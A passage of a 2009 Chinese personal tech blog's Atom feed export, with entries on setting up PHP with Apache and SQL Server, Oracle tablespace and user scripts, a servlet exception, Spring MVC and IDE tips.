runserver&lt;br/&gt;&lt;br/&gt;http://python.ubuntu.org.cn/viewtopic.php?f=186&amp;amp;t=180327&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1632956952261196727?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1632956952261196727/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/python.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1632956952261196727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1632956952261196727'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/python.html' title='用python开发站点'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2263512671638333818</id><published>2009-09-16T23:30:00.000+08:00</published><updated>2010-08-13T11:22:04.017+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Php'/><title type='text'>php增删改查</title><content type='html'>&lt;p&gt;&lt;a href="http://blog.csdn.net/newhappy2008/archive/2006/12/06/1432654.aspx"&gt;http://blog.csdn.net/newhappy2008/archive/2006/12/06/1432654.aspx&lt;/a&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;简单看了一下php 中文手册，就像javascript，只是变量名不用var，但必须以$开头，满眼的美元，有点花&lt;/p&gt;&lt;br/&gt;&lt;p&gt;晕死,php5.2中的文件 和 5.3的文件不一样，5.3中没有php_mssql.dll,也没有php.ini-dist&lt;br/&gt;想链接SqlServer，Google出方法，竟然找不到php_mssql.dll，只好试着下来个5.2,5.2中有&lt;br/&gt;不知道为什么&lt;br/&gt;&amp;nbsp;&amp;nbsp;  打开php.in将extension=php_mssql.dll的注释符号去掉。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  打开php.in将mssql.secure_connection = Off改为on。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  extension_dir = &amp;quot;E:\php\ext&amp;quot;&lt;br/&gt;&amp;nbsp;&amp;nbsp;  doc_root =E:\Apache2.2\htdocs&lt;br/&gt;还是不行.......郁闷&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2263512671638333818?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2263512671638333818/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/php.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2263512671638333818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2263512671638333818'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/php.html' title='php增删改查'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2985779655352424706</id><published>2009-09-16T01:21:00.000+08:00</published><updated>2010-08-13T11:22:04.026+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Php'/><title type='text'>安装PHP Apache</title><content type='html'>&lt;p&gt;这周有两人问我会不会PHP,受刺激了,开始Google PHP &lt;br/&gt;搜索 PHP 获得大约 6,910,000,000 条查询结果&lt;br/&gt;搜索 ASP 获得大约 1,730,000,000 &lt;br/&gt;搜索 JSP 获得大约 645,000,000 条查询结果&lt;br/&gt;看来我OUt了&lt;br/&gt;1、下载PHP包 &lt;a href="http://windows.php.net/download/"&gt;http://windows.php.net/download/&lt;/a&gt; &lt;br/&gt;&amp;nbsp;&amp;nbsp;  要想下面与Apache整合 必须下载ts版本，也就是Thread Safe&lt;br/&gt;&amp;nbsp;&amp;nbsp;  据咨询高手 zip和installer 没啥区别 ，只是如果用IIS最好用installer&lt;br/&gt;2、接着下载Apache，安装时最好选择for All Users, on Port 80, as a Service -- Recommended。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  我第一次选择了only for the Current User,on Port 8080,whern started Manually,结果不知道怎么运行呵呵。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  修改 Apache HTTP Server 配置文件&lt;br/&gt;  \Apache2.2\conf\httpd.conf&lt;br/&gt;&amp;nbsp;&amp;nbsp;  避免冲突将 Listen 80 改成 别的 该改成了 Listen 8082&lt;br/&gt;&amp;nbsp;&amp;nbsp;  将 ServerName 127.0.0.1:80 改成 ServerName 127.0.0.1:8082。&lt;br/&gt;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;&amp;nbsp;&amp;nbsp;  在最后加入 (我把php解压到E:/php下了)&lt;br/&gt;&amp;nbsp;&amp;nbsp;  LoadModule php5_module &amp;quot;E:/php/php5apache2_2.dll&amp;quot;&lt;br/&gt;  AddType application/x-httpd-php .php&lt;/p&gt;&lt;br/&gt;&lt;p&gt;保存文件。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;3、在\Apache2.2\htdocs下新建test.php,输入&lt;br/&gt;&amp;lt;?php&lt;br/&gt;  phpinfo();&lt;br/&gt;?&amp;gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;4、启动Apache，测试&lt;a href="http://localhost:8082/test.php"&gt;http://localhost:8082/test.php&lt;/a&gt;&lt;br/&gt;很惊奇，奶奶的出来这么多信息&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2985779655352424706?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2985779655352424706/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/php-apache.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2985779655352424706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2985779655352424706'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/php-apache.html' title='安装PHP Apache'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4539226265492242695</id><published>2009-09-14T18:55:00.000+08:00</published><updated>2010-08-13T11:22:04.035+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><title type='text'>捣鼓Oracle</title><content type='html'>&lt;p&gt;--创建数据库,貌似创建数据库的sql较复杂,&lt;br/&gt;创建数据库的脚本：&lt;br/&gt;-----------------------------------------------------------&lt;br/&gt;CREATE DATABASE dbtest&lt;br/&gt;LOGFILE&lt;br/&gt;GROUP 1 ('/opt/oracle/oradata/dbtest/redo01.log','/opt/oracle/oradata/dbtest/redo01_1.log') size 100m reuse, &lt;br/&gt;GROUP 2 ('/opt/oracle/oradata/dbtest/redo02.log','/opt/oracle/oradata/dbtest/redo02_1.log') size 100m reuse, &lt;br/&gt;GROUP 3 ('/opt/oracle/oradata/dbtest/redo03.log','/opt/oracle/oradata/dbtest/redo03_1.log') size 100m reuse&lt;br/&gt;MAXLOGFILES 50&lt;br/&gt;MAXLOGMEMBERS 5&lt;br/&gt;MAXLOGHISTORY 200&lt;br/&gt;MAXDATAFILES 500&lt;br/&gt;MAXINSTANCES 5&lt;br/&gt;ARCHIVELOG&lt;br/&gt;CHARACTER SET UTF8&lt;br/&gt;NATIONAL CHARACTER SET UTF8&lt;br/&gt;DATAFILE '/opt/oracle/oradata/dbtest/system01.dbf' SIZE 1000M EXTENT MANAGEMENT LOCAL &lt;br/&gt;SYSAUX DATAFILE '/opt/oracle/oradata/dbtest/sysaux01.dbf' SIZE 1000M&lt;br/&gt;UNDO TABLESPACE UNDOTS DATAFILE '/opt/oracle/oradata/dbtest/undo.dbf' SIZE 500M&lt;br/&gt;DEFAULT TEMPORARY TABLESPACE TEMP TEMPFILE '/opt/oracle/oradata/dbtest/temp.dbf' SIZE 500M&lt;br/&gt;;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;--还是用Database Configuration Assistant 来创建和配置数据库。&lt;br/&gt;--创建表空间&lt;br/&gt;create tablespace official_tablespace &lt;br/&gt;datafile 'E:\oracle\product\10.2.0\oradata\spring\official_data.dbf' &lt;br/&gt;size 5M&lt;br/&gt;autoextend on;--自动增长&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;br/&gt;--建完表空间 建用户&lt;br/&gt;create user official3 identified by offi1234 default tablespace official_tablespace;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;--接着授权给新建的用户&lt;/p&gt;&lt;br/&gt;&lt;p&gt;grant connect,resource to official3;  --表示把 connect,resource权限授予news用户&lt;br/&gt;grant dba to official3;  --表示把 dba权限授予给news用户&lt;/p&gt;&lt;br/&gt;&lt;p&gt;--表的数据备份：PL/SQL-----&amp;gt;TOOLS---------&amp;gt;Export Tables&lt;br/&gt;------------------------------------------------&lt;br/&gt;删除表空间 &lt;br/&gt;DROP TABLESPACE TableSpaceName INCLUDING CONTENTS AND DATAFILES; &lt;br/&gt;删除用户&lt;br/&gt;DROP USER official CASCADE&lt;br/&gt;删除表的注意事项&lt;br/&gt;在删除一个表中的全部数据时，须使用&lt;br/&gt;TRUNCATE TABLE 表名&lt;br/&gt;因为用DROP TABLE，DELETE * FROM 表名时，TABLESPACE表空间该表的占用空间并未释放，&lt;br/&gt;反复几次DROP，DELETE操作后，该TABLESPACE上百兆的空间就被耗光了。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;参考：&lt;a href="http://www.cnblogs.com/smartvessel/archive/2009/07/06/1517690.html"&gt;http://www.cnblogs.com/smartvessel/archive/2009/07/06/1517690.html&lt;/a&gt;&lt;br/&gt;&lt;a href="http://ilinux.javaeye.com/blog/178306"&gt;http://ilinux.javaeye.com/blog/178306&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4539226265492242695?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4539226265492242695/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/oracle.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4539226265492242695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4539226265492242695'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/oracle.html' title='捣鼓Oracle'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-754583720594932654</id><published>2009-09-14T01:01:00.000+08:00</published><updated>2010-08-13T11:22:04.051+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>试一下用手机发博客</title><content type='html'>这输入框也太小了点&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-754583720594932654?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/754583720594932654/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/blog-post_14.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/754583720594932654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/754583720594932654'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/blog-post_14.html' title='试一下用手机发博客'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5035972337920766588</id><published>2009-09-11T18:29:00.000+08:00</published><updated>2010-08-13T11:22:02.634+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>java.lang.IllegalStateException STREAMED</title><content type='html'>&lt;p&gt;request.&lt;strong&gt;getInputStream&lt;/strong&gt;() 和 request.&lt;strong&gt;getReader&lt;/strong&gt;()不能同时调用，否则会引发java.lang.IllegalStateException异常。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;API中有写：&lt;/p&gt;&lt;br/&gt;&lt;h3&gt;getInputStream&lt;/h3&gt;&lt;br/&gt;&lt;pre&gt;public &lt;a href="/javax/servlet/ServletInputStream.html"&gt;ServletInputStream&lt;/a&gt; &lt;strong&gt;getInputStream&lt;/strong&gt;()&lt;br/&gt;                                  throws java.io.IOException&lt;/pre&gt;&lt;br/&gt;&lt;dl&gt;&lt;dd&gt;Retrieves the body of the request as binary data using a &lt;a href="/javax/servlet/ServletInputStream.html"&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;ServletInputStream&lt;/font&gt;&lt;/code&gt;&lt;/a&gt;. Either this method or &lt;a href="/javax/servlet/ServletRequest.html#getReader()"&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;getReader()&lt;/font&gt;&lt;/code&gt;&lt;/a&gt; may be called to read the body, not both. &lt;/dd&gt;&lt;dd&gt;&lt;dl&gt;&lt;dt&gt;&lt;strong&gt;Returns:&lt;/strong&gt; &lt;/dt&gt;&lt;dd&gt;a &lt;a href="/javax/servlet/ServletInputStream.html"&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;ServletInputStream&lt;/font&gt;&lt;/code&gt;&lt;/a&gt; object containing the body of the request &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Throws:&lt;/strong&gt; &lt;/dt&gt;&lt;dd&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;java.lang.IllegalStateException&lt;/font&gt;&lt;/code&gt; - if the &lt;a href="/javax/servlet/ServletRequest.html#getReader()"&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;getReader()&lt;/font&gt;&lt;/code&gt;&lt;/a&gt; method has already been called for this request &lt;/dd&gt;&lt;dd&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;java.io.IOException&lt;/font&gt;&lt;/code&gt; - if an input or output exception occurred&lt;/dd&gt;&lt;/dl&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;br/&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5035972337920766588?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5035972337920766588/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/javalangillegalstateexception-streamed.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5035972337920766588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5035972337920766588'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/javalangillegalstateexception-streamed.html' title='java.lang.IllegalStateException STREAMED'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-9071742231255529970</id><published>2009-09-11T00:59:00.000+08:00</published><updated>2010-08-13T11:22:02.915+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>早该总结总结了</title><content type='html'>&lt;p&gt;突然觉得Google app engine 没什么好玩的了，我说的是技术上&lt;/p&gt;&lt;br/&gt;&lt;p&gt;前几天迅速的将我那个blog用spring MVC改写了，之前对spring MVC只是停留在知道有这么个东西，结果感觉还不错，貌似比struts强大写，但是还是没有脱离与框架的解耦，Action中还是要实现/继承Spring的Controller，类似于Struts的ActionForm的类倒是一个pojo&lt;/p&gt;&lt;br/&gt;&lt;p&gt;Spring建议将jsp不想被客户直接访问到的文件放入WEB-INFO下&lt;/p&gt;&lt;br/&gt;&lt;p&gt;简单学习了jstl的c，fmt，还挺好用 突然感觉以前直往上塞java代码的方式太土了&lt;/p&gt;&lt;br/&gt;&lt;p&gt;参考roller里面的MetaWeblogAPI实现，实现了自己的MetaWeblogAPI，用WindowsLiveWriter发布成功&lt;/p&gt;&lt;br/&gt;&lt;p&gt;考虑实现上传图片，受困于Google app engine只有500M(免费的)，想把图片放在外面，这也是实现MetaWeblogAPI的动力，后来又想到通过Webservices将图片保存到微软的云中&lt;a href="http://lnai.cloudapp.net/"&gt;http://lnai.cloudapp.net/&lt;/a&gt;，实现了才发现Google app engine 不支持WebServices，执着的我实现了在还是在Google app engine中保存图片&lt;/p&gt;&lt;br/&gt;&lt;p&gt;同事们都在忙着弄SAP PI 普元EOS...&lt;/p&gt;&lt;br/&gt;&lt;p&gt;只有我在这捣鼓有点疯狂老套的代码，接下来研究什么呢&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-9071742231255529970?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/9071742231255529970/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9071742231255529970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/9071742231255529970'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/blog-post.html' title='早该总结总结了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-642348323987200443</id><published>2009-09-09T00:37:00.000+08:00</published><updated>2010-08-13T11:22:02.923+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>在eclipse中 高亮显示相同的变量</title><content type='html'>&lt;p&gt;eclipse中如果选中一个变量，则在本源文件中高亮显示相同的变量&lt;/p&gt;&lt;br/&gt;&lt;p&gt;Window-&amp;gt;Preferences,在type filter text 中输入Mark Occurrences&lt;/p&gt;&lt;br/&gt;&lt;p&gt;在Java-Editor-Mark Occurrences中将Mark occurrences of the selected element in the current file.选中OK即可&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-642348323987200443?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/642348323987200443/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/eclipse.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/642348323987200443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/642348323987200443'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/eclipse.html' title='在eclipse中 高亮显示相同的变量'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1752157643037696374</id><published>2009-09-08T17:23:00.000+08:00</published><updated>2010-08-13T11:22:02.938+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>转载:如何将 IntelliJ 的配置改到其他分区</title><content type='html'>&lt;br/&gt;转自:&lt;a href="http://blog.csdn.net/yidinghe/archive/2009/04/10/4061251.aspx" target="_blank"&gt;http://blog.csdn.net/yidinghe/archive/2009/04/10/4061251.aspx&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;不管你将 &lt;a target="_blank" href="http://www.jetbrains.com/idea/"&gt;IntelliJ&lt;/a&gt; 装在什么地方，它都会在 C 盘的用户目录下创建 .IntelliJIdeaXX 目录，而且这个目录会随着时间增长到几个 G 那么大。这对于 C 盘小得可怜的人来说确实是个问题。不用怕，这里介绍一个将 .IntelliJIdeaXX 目录移到其他分区的办法。&lt;br/&gt;&lt;br/&gt;我的 IntelliJ 装在 D:\Program Files\JetBrains\IntelliJ IDEA 8.1 目录下。我是这么做的：&lt;br/&gt;&lt;br/&gt;1、首先在 D:\Program Files\JetBrains\ 下创建一个文件夹：IdeaConfig，用来存放所有的 IntelliJ 配置。&lt;br/&gt;&lt;br/&gt;2、然后打开 D:\Program Files\JetBrains\IntelliJ IDEA 8.1\bin\idea.properties。&lt;br/&gt;&lt;br/&gt;3、将所有的 ${user.home} 替换为 D:/Program Files/JetBrains/IdeaConfig （注意斜杠的方向）&lt;br/&gt;&lt;br/&gt;4、保存 idea.properties&lt;br/&gt;&lt;br/&gt;5、打开 C:\Documents and Settings\XXX 目录，把 .IntelliJIdea8x 和 .IntelliJIdea80 两个目录移动到 IdeaConfig 目录下。&lt;br/&gt;&lt;br/&gt;这样你就可以启动 IntelliJ，而且以后也不会再占用 C 盘空间了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1752157643037696374?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1752157643037696374/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/09/intellij.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1752157643037696374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1752157643037696374'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/09/intellij.html' title='转载:如何将 IntelliJ 的配置改到其他分区'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4682378899341847150</id><published>2009-08-28T21:36:00.000+08:00</published><updated>2010-08-13T11:22:02.948+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>今儿下午貌似没啥事</title><content type='html'>下午头儿出去了，这周一口气粘帖复制了14个Action20个jsp,没什么技术含量,完全是粘帖复制,我在等待什么?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4682378899341847150?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4682378899341847150/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/08/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4682378899341847150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4682378899341847150'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/08/blog-post.html' title='今儿下午貌似没啥事'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4270989947278949548</id><published>2009-08-28T21:33:00.000+08:00</published><updated>2010-08-13T11:22:02.957+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>昨天试着弄了个SSH的demo</title><content type='html'>&lt;p&gt;工作快三年了,一直没有用到spring,做的几个项目全部基于struts+hibernate,昨天忙完手头的活儿，自己建了个struts+spring+hibernate的demo，能用MyEclipse自动生成的全部自动生成，表映射、pojo、SessionFactory、applicationContext.xml、struts-config.xml都自动生成了，弄了两个jsp，一个add，一个view&lt;/p&gt;&lt;br/&gt;&lt;p&gt;运行发现，spring未被加载，原因找来找去找不到，最后还是看了以前写的一篇blog，可能存在重复jar包，有冲突，确实发现Myeclipse自动键入的jar包好多好多，而且有的有重复，捣鼓出以前做的例子，复制lib里面的jar包，果然OK了，实现了增查。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;spring确实是个好东西，强大、强大。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;Google SSH整合的例子，发现都是Struts2SpringHibernate了，俺还struts1呢，out了&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4270989947278949548?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4270989947278949548/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/08/sshdemo.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4270989947278949548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4270989947278949548'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/08/sshdemo.html' title='昨天试着弄了个SSH的demo'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5275600745956581102</id><published>2009-08-08T08:45:00.000+08:00</published><updated>2010-08-13T11:22:02.966+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='杀毒'/><title type='text'>瑞星杀毒软件在Google软件精选中没有了</title><content type='html'>在Google软件精选中找不到瑞星杀毒软件了，今天刚发现，Google了一下 好像从6月份就没有了，今天还原ghost的系统，在线更新瑞星杀毒软件Google专版，升级完发现让我激活，晕死&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5275600745956581102?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link 